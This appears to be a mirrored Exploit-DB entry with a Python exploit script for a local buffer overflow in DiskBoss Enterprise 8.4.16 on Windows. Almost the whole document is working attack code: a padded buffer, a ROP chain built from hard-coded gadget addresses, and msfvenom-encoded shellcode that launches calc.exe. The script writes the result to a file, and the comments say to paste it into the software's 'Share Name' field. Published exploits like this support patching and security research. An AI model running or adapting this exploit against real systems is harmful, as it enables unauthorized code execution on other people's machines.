DiskBoss Enterprise 8.4.16 – Local Buffer Overflow

  • 作者: C4t0ps1s
    日期: 2017-10-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42951/
  • #!/usr/bin/python
     
    #========================================================================================================================
    # Exploit Author: C4t0ps1s
    # Exploit Title: DiskBoss Enterprise v8.4.16 Local Buffer Overflow(Code execution)
    # Date: 03-10-2017
    # Twitter: @C4t0ps1s
    # Email: C4t0ps1s@gmail.com
    # Vulnerable Software: DiskBoss Enterprise v8.4.16
    # Vendor Homepage: http://www.diskboss.com
    # Version: v8.4.16
    # Software Link: http://www.diskboss.com/downloads.html
    # Tested On: Windows 10 x64
    #
    # Code execution from the PoC of Touhid M.Shaikh: https://www.exploit-db.com/exploits/42917/
    #
    # To reproduce the code execution:
    # 1. Click Server
    # 2. Click Connect
    # 3. In the "Share Name" field, paste the content of shareName.txt , And try to connect
    #
    #========================================================================================================================
    
    import struct
    
    buff = "a"*1312
    
    #push esp | pop esi | retn 4
    buff += struct.pack("<L",0x65247445)
    
    #mov eax, esi | pop esi | retn 4
    buff += struct.pack("<L",0x65273f24)
    buff += "PADD"
    buff += "PADD"
    
    #pop ebx | retn 
    buff += struct.pack("<L",0x65222936)
    buff += "PADD"
    buff += struct.pack("<L",0x7f7f7f7f)
    
    #add eax, ebx | pop esi | pop ebx | retn 0xc
    buff += struct.pack("<L",0x65222d7d)
    buff += "PADD"
    buff += struct.pack("<L",0x7f7f7f7f)
    
    #add eax, ebx | pop esi | pop ebx | retn 0xc
    buff += struct.pack("<L",0x65222d7d)
    buff += "PADD"
    buff += "PADD"
    buff += "PADD"
    buff += "PADD"
    buff += struct.pack("<L",0x0101015a)
    
    #add eax, ebx | pop esi | pop ebx | retn 0xc
    buff += struct.pack("<L",0x65222d7d)
    buff += "PADD"
    buff += "PADD"
    buff += "PADD"
    buff += "PADD"
    buff += "PADD"
     
    #jmp eax
    buff += struct.pack("<L",0x65217d28)
    
    #inc eax
    buff += "\x40"*20
    
    #msfvenom -a x86 --platform windows -p windows/exec CMD="calc.exe" -e x86/alpha_mixed BufferRegister=EAX -f raw
    sc ="\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
    sc += "\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
    sc += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
    sc += "\x42\x75\x4a\x49\x39\x6c\x68\x68\x6e\x62\x45\x50\x75\x50\x37\x70"
    sc += "\x31\x70\x6f\x79\x78\x65\x66\x51\x6b\x70\x50\x64\x4e\x6b\x52\x70"
    sc += "\x56\x50\x6c\x4b\x51\x42\x44\x4c\x6e\x6b\x43\x62\x55\x44\x6e\x6b"
    sc += "\x64\x32\x57\x58\x76\x6f\x68\x37\x42\x6a\x47\x56\x44\x71\x49\x6f"
    sc += "\x6c\x6c\x75\x6c\x75\x31\x73\x4c\x73\x32\x76\x4c\x31\x30\x6a\x61"
    sc += "\x4a\x6f\x74\x4d\x66\x61\x5a\x67\x38\x62\x4b\x42\x52\x72\x70\x57"
    sc += "\x4e\x6b\x52\x72\x66\x70\x6c\x4b\x33\x7a\x35\x6c\x6c\x4b\x42\x6c"
    sc += "\x77\x61\x52\x58\x6a\x43\x37\x38\x55\x51\x6b\x61\x33\x61\x4e\x6b"
    sc += "\x73\x69\x65\x70\x47\x71\x7a\x73\x6e\x6b\x67\x39\x36\x78\x4b\x53"
    sc += "\x75\x6a\x72\x69\x6e\x6b\x45\x64\x4e\x6b\x43\x31\x58\x56\x56\x51"
    sc += "\x79\x6f\x6e\x4c\x6b\x71\x6a\x6f\x34\x4d\x43\x31\x39\x57\x65\x68"
    sc += "\x39\x70\x71\x65\x7a\x56\x73\x33\x51\x6d\x5a\x58\x45\x6b\x51\x6d"
    sc += "\x44\x64\x74\x35\x4d\x34\x30\x58\x4e\x6b\x31\x48\x74\x64\x75\x51"
    sc += "\x4a\x73\x65\x36\x4c\x4b\x54\x4c\x32\x6b\x4e\x6b\x36\x38\x57\x6c"
    sc += "\x53\x31\x48\x53\x4c\x4b\x75\x54\x4c\x4b\x77\x71\x7a\x70\x4f\x79"
    sc += "\x77\x34\x61\x34\x64\x64\x61\x4b\x43\x6b\x61\x71\x43\x69\x71\x4a"
    sc += "\x62\x71\x59\x6f\x6b\x50\x61\x4f\x33\x6f\x33\x6a\x6c\x4b\x46\x72"
    sc += "\x78\x6b\x4c\x4d\x43\x6d\x73\x5a\x37\x71\x6c\x4d\x6e\x65\x58\x32"
    sc += "\x47\x70\x55\x50\x47\x70\x32\x70\x45\x38\x56\x51\x4c\x4b\x42\x4f"
    sc += "\x6f\x77\x69\x6f\x4b\x65\x4f\x4b\x78\x70\x6e\x55\x69\x32\x53\x66"
    sc += "\x65\x38\x4f\x56\x6c\x55\x4f\x4d\x6d\x4d\x6b\x4f\x4a\x75\x45\x6c"
    sc += "\x66\x66\x53\x4c\x75\x5a\x6f\x70\x69\x6b\x69\x70\x42\x55\x53\x35"
    sc += "\x6d\x6b\x51\x57\x65\x43\x31\x62\x42\x4f\x71\x7a\x45\x50\x72\x73"
    sc += "\x4b\x4f\x78\x55\x35\x33\x35\x31\x32\x4c\x55\x33\x46\x4e\x75\x35"
    sc += "\x43\x48\x50\x65\x55\x50\x41\x41"
    
    buff += sc
    
    f = open("shareName.txt","wb")
    f.write(buff)
    f.close()